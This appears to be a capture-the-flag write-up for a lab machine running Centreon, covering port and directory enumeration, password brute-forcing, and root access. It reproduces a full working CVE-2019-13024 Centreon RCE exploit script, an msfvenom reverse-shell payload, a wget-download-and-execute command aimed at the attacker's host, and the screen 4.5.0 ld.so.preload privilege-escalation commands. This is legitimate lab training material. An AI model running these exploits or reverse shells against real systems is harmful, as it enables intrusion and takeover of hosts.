TL;DR;

To solve this machine we enumerate open ports – finding ports 80 and 22 open. Enumerating the directories on the webserver, we find /monitoring/ . Fuzzing the request HTTP verb for /monitoring/ tells us of /centreon . Going to /centreon , we are presented with a login interface. Using the Centreon API, we are able to brute-force the password (where the username is the default). Using the credentials, we exploit an authenticated Remote Code Execution (RCE) vulnerability in Centreon to upload and get a reverse shell as www-data . Doing basic enumeration, we see there is a vulnerable version of screen that has the suid bit set. Exploiting this application, we get a shell as root and can read user.txt and root.txt .

Enumeration

Like all machines, we begin by enumerating services using nmap. Doing so, we see that only port 80 and port 22 are open.

Next, we use gobuster to enumerate common files and directories that are present on the webserver.

Getting a Reverse Shell

Going to http://10.10.10.157/monitoring/ , we are presented with an HTTP basic authentication form.

HTTP Basic Authentication form

Fuzzing the HTTP request verb for this directory, we are told that the /centreon directory exists. Going to the directory, we are presented with a login form.

Fuzzing the request type

Centreon login page

Doing some research, we see the default account name for the web UI is admin however the default password does not work, so we will have to bruteforce it. Using the Centreon API, we are able to bruteforce the credentials.

What a failed authentication looks like

Running the bruteforce script we created

What a sucessful authentication looks like

After logging into the web UI, we quickly see that we only have read-only permission, as every time we try to submit data, it results in an error. With additional research, we find an RCE exploit (discovered by the machine creator) that we can use to get a reverse shell. (The exploit script was repurposed to run any command.) To get my reverse shell, I generated my payload with msfvenom, uploaded it to the box using wget, and ran it on the box.

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.17 LPORT=9000 -f elf -o shell $ ./centreon-RCE.py http://10.10.10.157/centreon/ admin <password> 'wget http://10.10.14.17/shell -O /tmp/shell;chmod +x /tmp/shell;/tmp/shell'

Generating the reverse shell payload

Running the script to get a call back

Got a reverse shell

Below is the modified exploit code:

#!/usr/bin/env python3 ''' # Exploit Title: Centreon v19.04 authenticated Remote Code Execution # Date: 28/06/2019 # Exploit Author: Askar (@mohammadaskar2) # CVE : CVE-2019-13024 # Vendor Homepage: https://www.centreon.com/ # Software link: https://download.centreon.com # Version: v19.04 # Tested on: CentOS 7.6 / PHP 5.4.16 ''' import requests import sys import warnings from bs4 import BeautifulSoup # turn off BeautifulSoup warnings warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 5: print(len(sys.argv)) print("[~] Usage : ./centreon-exploit.py url username password payload") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] payload = sys.argv[4] request = requests.session() print("[+] Retrieving CSRF token to submit the login form") page = request.get(url+"/index.php") html_content = page.text soup = BeautifulSoup(html_content, 'lxml') token = soup.findAll('input')[3].get("value") #print(soup.find('input', {"name":"centreon_token"})) #''' login_info = { "useralias": username, "password": password, "submitLogin": "Connect", "centreon_token": token } login_request = request.post(url+"/index.php", login_info) print("[+] Login token is : {0}".format(token)) if "Your credentials are incorrect." not in login_request.text: print("[+] Logged In Sucessfully") print("[+] Retrieving Poller token") poller_configuration_page = url + "/main.get.php?p=60901" get_poller_token = request.get(poller_configuration_page) poller_html = get_poller_token.text poller_soup = BeautifulSoup(poller_html, 'lxml') poller_token = poller_soup.findAll('input')[24].get("value") print("[+] Poller token is : {0}".format(poller_token)) payload_info = { "name": "Central", "ns_ip_address": "127.0.0.1", # this value should be 1 always "localhost[localhost]": "1", "is_default[is_default]": "0", "remote_id": "", "ssh_port": "22", "init_script": "centengine", # this value contains the payload , you can change it as you want #"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port), #"nagios_bin": "ping 10.10.14.22 -c 10",#.format(ip, port), "nagios_bin": payload.replace(' ','${IFS}'), "nagiostats_bin": "/usr/sbin/centenginestats", "nagios_perfdata": "/var/log/centreon-engine/service-perfdata", "centreonbroker_cfg_path": "/etc/centreon-broker", "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker", "centreonbroker_logs_path": "", "centreonconnector_path": "/usr/lib64/centreon-connector", "init_script_centreontrapd": "centreontrapd", "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/", "ns_activate[ns_activate]": "1", "submitC": "Save", "id": "1", "o": "c", "centreon_token": poller_token, } proxies = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"} send_payload = request.post(poller_configuration_page, payload_info, proxies=proxies) if ( send_payload.status_code == 403 ): print("[-] Failed with status code 403") sys.exit() print("[+] Injecting Done, triggering the payload") print("[+] Check your netcat listener !") print("[+] Status code was: " + str(send_payload.status_code)) generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php" xml_page_data = { "poller": "1", "debug": "true", "generate": "true", } request.post(generate_xml_page, xml_page_data) else: print("[-] Wrong credentials") exit()

Getting Root

We get our reverse shell as use www-data , so the first thing we need to do is enumerate information about the machine. For this, I like to use LinEnum. Running this script, we see a few oddities about a binary. First the binary’s name includes the version, it’s located in /bin , and the SUID bit is set for it.

SUID set on screen

Normally when we see screen installed on a machine, the name does not include the version, and the SUID bit is not set. Researching this version of screen, we see there is an exploit that abuses ld.so.preload overwriting to get root. Exploiting this vulnerability, I am able to gain access to /home/shelby/user.txt and /root/root.txt . *NOTE* I had issues compiling on the remote machine, so all compilation was done locally, then uploaded to the /tmp directory of the machine.

#on the machine $ cd /etc $ umask 000 $ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" #newline needed $ screen -ls $ /tmp/rootshell

Exploiting screen v4.5.0 to get root

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!

Resources

Shoutout

badrabb1t for having the idea to repurpose the RCE exploit script